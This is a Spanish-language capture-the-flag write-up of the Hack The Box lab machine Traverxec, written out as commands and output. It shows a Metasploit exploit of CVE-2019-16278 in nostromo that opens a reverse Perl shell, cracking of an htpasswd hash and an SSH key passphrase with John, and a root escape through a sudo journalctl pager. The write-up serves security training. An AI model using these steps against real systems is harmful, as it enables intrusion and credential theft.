Traverxec

Hack The Box — Writeup

Traverxec

IP:10.129.22.158
OS:Linux
Dificultad:Easy
Fecha:2 de julio de 2026

Reconocimiento

Escaneo inicial

Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.

# Comando ejecutado
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn "$target_ip" -oG allPorts

# Output
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Se identificaron dos puertos abiertos: el puerto 22 (SSH) y el puerto 80 (HTTP). El puerto 22 fue descartado como vector inicial al requerir credenciales válidas, constituyendo el puerto 80 (HTTP) el único vector de ataque disponible.

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
|   2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
|   256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_  256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open  http    nostromo 1.9.6
|_http-title: TRAVERXEC
|_http-server-header: nostromo 1.9.6
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Hallazgo: al identificar el servicio corriendo en el puerto 80 como nostromo nhttpd 1.9.6, se investigó si dicha versión contaba con vulnerabilidades públicas conocidas, identificándose la CVE-2019-16278: una vulnerabilidad crítica de salto de directorio (Directory Traversal) que afecta a nostromo hasta la versión 1.9.6, permitiendo a un atacante no autenticado lograr ejecución remota de código (RCE) mediante una petición HTTP especialmente manipulada.

Hipótesis: dado que el servicio identificado está vinculado a un CVE público, se procedió a investigar la existencia de un exploit disponible.

# Comando
searchsploit nostromo 1.9.6

# Output
nostromo 1.9.6 - Remote Code Execution       multiple/remote/47837.py

Al confirmar la existencia de un exploit público, se procedió a ejecutar el ataque desde Metasploit.

msf exploit(multi/http/nostromo_code_exec) > show options

Module options (exploit/multi/http/nostromo_code_exec):

Name     Current Setting  Required  Description
----     ---------------  --------  -----------
RHOSTS   10.129.22.158    yes       The target host(s)
RPORT    80               yes       The target port (TCP)
SSL      false            no        Negotiate SSL/TLS for outgoing connections

Payload options (cmd/unix/reverse_perl):

Name   Current Setting  Required  Description
----   ---------------  --------  -----------
LHOST  10.10.15.163     yes       The listen address
LPORT  4444             yes       The listen port

Exploit target:

Id  Name
--  ----
0   Automatic (Unix In-Memory)

msf exploit(multi/http/nostromo_code_exec) > run

[*] Started reverse TCP handler on 10.10.15.163:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 1 opened (10.10.15.163:4444 -> 10.129.22.158:39000)
whoami
www-data

Tras obtener acceso al sistema, se estabilizó la sesión para mejorar la interactividad de la shell:

shell
[*] Trying to find binary 'python' on the target machine
[*] Found python at /usr/bin/python
[*] Using `python` to pop up an interactive shell
[*] Found bash at /usr/bin/bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@traverxec:/usr/bin$

Se procedió a enumerar el usuario actual, su directorio de trabajo y sus permisos:

www-data@traverxec:/usr/bin$ whoami
www-data
www-data@traverxec:/usr/bin$ pwd
/usr/bin
www-data@traverxec:/usr/bin$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@traverxec:/usr/bin$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

[sudo] password for www-data:

Observación: el usuario www-data no cuenta con permisos elevados y sudo -l solicita contraseña, descartando esa vía. Se continuó con la enumeración manual del sistema.

Al navegar por el sistema de archivos se identificó la existencia del usuario david, aunque sin permisos para listar su directorio:

www-data@traverxec:/$ cd home
www-data@traverxec:/home$ ls
david
www-data@traverxec:/home$ cd david
www-data@traverxec:/home/david$ ls
ls: cannot open directory '.': Permission denied

Enumeración

Análisis de la configuración de nostromo

Dado que no se contaba con permisos para explorar el directorio de david, se procedió a examinar el directorio de configuración del servidor web nostromo en /var/nostromo:

www-data@traverxec:/$ cd var/nostromo/conf
www-data@traverxec:/var/nostromo/conf$ ls -la

total 20
drwxr-xr-x 2 root daemon 4096 Oct 27  2019 .
drwxr-xr-x 6 root root   4096 Oct 25  2019 ..
-rw-r--r-- 1 root bin      41 Oct 25  2019 .htpasswd
-rw-r--r-- 1 root bin    2928 Oct 25  2019 mimes
-rw-r--r-- 1 root bin     498 Oct 25  2019 nhttpd.conf

Se revisaron ambos archivos de interés:

cat nhttpd.conf

# MAIN [MANDATORY]
servername      traverxec.htb
serverlisten        *
serveradmin     [email protected]
serverroot      /var/nostromo
servermimes     conf/mimes
docroot         /var/nostromo/htdocs
docindex        index.html

# LOGS [OPTIONAL]
logpid          logs/nhttpd.pid

# SETUID [RECOMMENDED]
user            www-data

# BASIC AUTHENTICATION [OPTIONAL]
htaccess        .htaccess
htpasswd        /var/nostromo/conf/.htpasswd

# ALIASES [OPTIONAL]
/icons          /var/nostromo/icons

# HOMEDIRS [OPTIONAL]
homedirs        /home
homedirs_public     public_www

Hallazgo: la directiva homedirs_public public_www indica que nostromo expone públicamente el subdirectorio public_www del home de cada usuario bajo la ruta http://traverxec.htb/~usuario/. Dado que el proceso del servidor corre como www-data, dicho directorio resulta accesible también desde el sistema de archivos bajo ese mismo usuario.

cat /var/nostromo/conf/.htpasswd
david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/

Hallazgo: se obtuvo un hash de contraseña del usuario david en formato MD5crypt (identificable por el prefijo $1$), utilizado para la autenticación HTTP básica del servidor.

Crackeo del hash MD5crypt

Intento fallido — error al guardar el hash:

echo "$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/" >> david.hash
cat david.hash
/

Por qué no funcionó: en zsh, las comillas dobles permiten la interpolación de variables. El carácter $ fue interpretado como inicio de una variable, expandiendo $1 a un valor vacío y dejando únicamente el / final en el archivo. Para preservar el hash de forma literal se requieren comillas simples.

Solución: se editó el archivo con nano para insertar el hash correctamente:

nano david.hash
# Contenido del archivo:
$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/

Intento fallido — wordlist en ruta incorrecta:

john --wordlist=/usr/share/wordlists/rockyou.txt david.hash
No password hashes loaded (see FAQ)

Por qué no funcionó: en BlackArch, rockyou.txt no se encuentra en /usr/share/wordlists/ sino dentro del paquete seclists.

Resultado exitoso:

john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt david.hash

Warning: detected hash type "md5crypt"
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ [MD5 128/128 AVX 4x3])
Will run 12 OpenMP threads
Nowonly4me       (?)
1g 0:00:00:28 DONE (2026-07-02 08:43)
Session completed

Resultado: la contraseña del hash es Nowonly4me, correspondiente a la autenticación HTTP básica del servidor nostromo.

Acceso al directorio public_www de david

Apoyándose en el hallazgo de la directiva homedirs_public, se accedió al directorio public_www de david desde el sistema de archivos:

ls -la /home/david/public_www/

total 16
drwxr-xr-x 3 david david 4096 Oct 25  2019 .
drwx--x--x 5 david david 4096 Oct 25  2019 ..
-rw-r--r-- 1 david david  402 Oct 25  2019 index.html
drwxr-xr-x 2 david david 4096 Oct 25  2019 protected-file-area

ls -la /home/david/public_www/protected-file-area/

total 16
drwxr-xr-x 2 david david 4096 Oct 25  2019 .
drwxr-xr-x 3 david david 4096 Oct 25  2019 ..
-rw-r--r-- 1 david david   45 Oct 25  2019 .htaccess
-rw-r--r-- 1 david david 1915 Oct 25  2019 backup-ssh-identity-files.tgz

Hallazgo: se identificó un archivo comprimido denominado backup-ssh-identity-files.tgz, cuyo nombre sugiere una copia de respaldo de claves SSH del usuario david.

Extracción de la clave SSH

Se copió el archivo a /tmp y se extrajo su contenido:

cp /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz /tmp/
cd /tmp
tar -xvf backup-ssh-identity-files.tgz

home/david/.ssh/
home/david/.ssh/authorized_keys
home/david/.ssh/id_rsa
home/david/.ssh/id_rsa.pub

Se obtuvo la clave privada RSA de david en estado cifrado:

cat /tmp/home/david/.ssh/id_rsa

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,477EEFFBA56F9D283D349033D5D08C4F
[...]
-----END RSA PRIVATE KEY-----

La línea Proc-Type: 4,ENCRYPTED confirma que la clave requiere una passphrase para ser utilizada.

Crackeo de la passphrase de la clave SSH

Intento fallido — passphrase incorrecta:

Se intentó conectar por SSH utilizando la contraseña obtenida del .htpasswd (Nowonly4me) como passphrase de la clave:

ssh -i id_rsa [email protected]

Enter passphrase for key 'id_rsa':
Enter passphrase for key 'id_rsa':
Enter passphrase for key 'id_rsa':
[email protected]'s password:
Permission denied, please try again.

Por qué no funcionó: la contraseña del .htpasswd corresponde a la autenticación HTTP básica del servidor nostromo y no necesariamente coincide con la passphrase de la clave SSH; son credenciales independientes.

Solución: se convirtió la clave al formato requerido por John the Ripper y se procedió al crackeo:

ssh2john id_rsa > id_rsa.hash
john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt id_rsa.hash

Warning: detected hash type "SSH"
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Will run 12 OpenMP threads
hunter           (id_rsa)
1g 0:00:00:01 DONE (2026-07-02 08:54)
Session completed

Resultado: la passphrase de la clave SSH es hunter.

Explotación

Acceso SSH como david

Con la passphrase obtenida, se accedió al sistema como david:

ssh -i id_rsa [email protected]

Enter passphrase for key 'id_rsa': hunter
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64

david@traverxec:~$ whoami
david
david@traverxec:~$ id
uid=1000(david) gid=1000(david) groups=1000(david),24(cdrom),25(floppy),29(audio),
30(dip),44(video),46(plugdev),109(netdev)
david@traverxec:~$ ls
bin  public_www  user.txt
david@traverxec:~$ cat user.txt
[flag de usuario]

Escalada de Privilegios

Enumeración de binarios SUID

find / -perm -4000 2>/dev/null

/usr/lib/openssh/ssh-keysign
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/bin/fusermount
/usr/bin/sudo
/usr/bin/umount
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/chfn

Observación: todos los binarios SUID identificados corresponden a utilidades estándar del sistema, sin ningún vector de explotación directo aplicable al contexto actual. Se descartó esta vía.

Identificación del directorio bin de david

Al examinar el contenido del home de david se identificó un directorio bin no estándar:

david@traverxec:~$ cd bin
david@traverxec:~/bin$ ls
server-stats.head  server-stats.sh

david@traverxec:~/bin$ cat server-stats.sh

#!/bin/bash
cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat

Hallazgo: el script ejecuta /usr/bin/journalctl con sudo sin solicitar contraseña. Consultando GTFOBins bajo la categoría sudo, se confirmó que journalctl invoca un paginador (less) cuando la salida supera el tamaño de la terminal, y que desde less es posible escapar a una shell del sistema mediante !/bin/bash, heredando los privilegios del proceso padre, en este caso root.

Intento fallido — modificación del script

Se intentó editar el script para eliminar el -n5 y el | /usr/bin/cat que impiden la apertura del paginador. Sin embargo, al verificar los permisos del archivo:

david@traverxec:~/bin$ lsattr server-stats.sh
----i---------e---- server-stats.sh

Por qué no funcionó: el atributo i (immutable) impide cualquier modificación del archivo, incluso por parte del propietario. Únicamente root puede remover este atributo mediante chattr -i. Se descartó la edición directa.

Intento fallido — ejecución con argumentos distintos

Hipótesis: se intentó ejecutar journalctl directamente con sudo sin el -n5 ni el | /usr/bin/cat para forzar la apertura del paginador con una salida más extensa:

/usr/bin/sudo /usr/bin/journalctl -unostromo.service
[sudo] password for david:
sudo: 3 incorrect password attempts

Por qué no funcionó: la regla de sudoers está configurada para el comando con los argumentos exactos -n5 -unostromo.service. Cualquier variación en dichos argumentos hace que sudo lo trate como un comando distinto y solicite contraseña, de la cual no se dispone.

Intento fallido — variable de entorno PAGER

Hipótesis: se intentó sobrescribir la variable de entorno PAGER para que journalctl invocara /bin/bash como paginador:

PAGER=/bin/bash /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service

Por qué no funcionó: sudo limpia por defecto las variables de entorno del usuario (env_reset) antes de ejecutar el comando, impidiendo que PAGER se transfiera al proceso privilegiado.

Escalada exitosa — reducción del tamaño de terminal

El vector correcto consiste en forzar la apertura del paginador con los argumentos exactos que permite sudoers, reduciendo el tamaño de la terminal por debajo del número de líneas de salida para que less se active obligatoriamente:

stty rows 5 cols 80

/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service

-- Logs begin at Thu 2026-07-02 03:37:55 EDT, end at Thu 2026-07-02 05:18:00 EDT
Jul 02 04:10:38 traverxec sudo[991]: pam_unix(sudo:auth): authentication failure
Jul 02 04:43:16 traverxec sudo[1027]: pam_unix(sudo:auth): authentication failur
Jul 02 04:43:26 traverxec sudo[1027]: www-data : user NOT in sudoers ; TTY=pts/1
Jul 02 04:43:33 traverxec su[1028]: pam_unix(su:auth): authentication failure; l
Jul 02 04:43:35 traverxec su[1028]: FAILED SU (to david) www-data on pts/1
lines 3-6/6 (END)

El paginador less se activó. Desde dentro se ejecutó:

!/bin/bash

Resultado: se obtuvo una shell interactiva con privilegios de root:

root@traverxec:/home/david/bin# whoami
root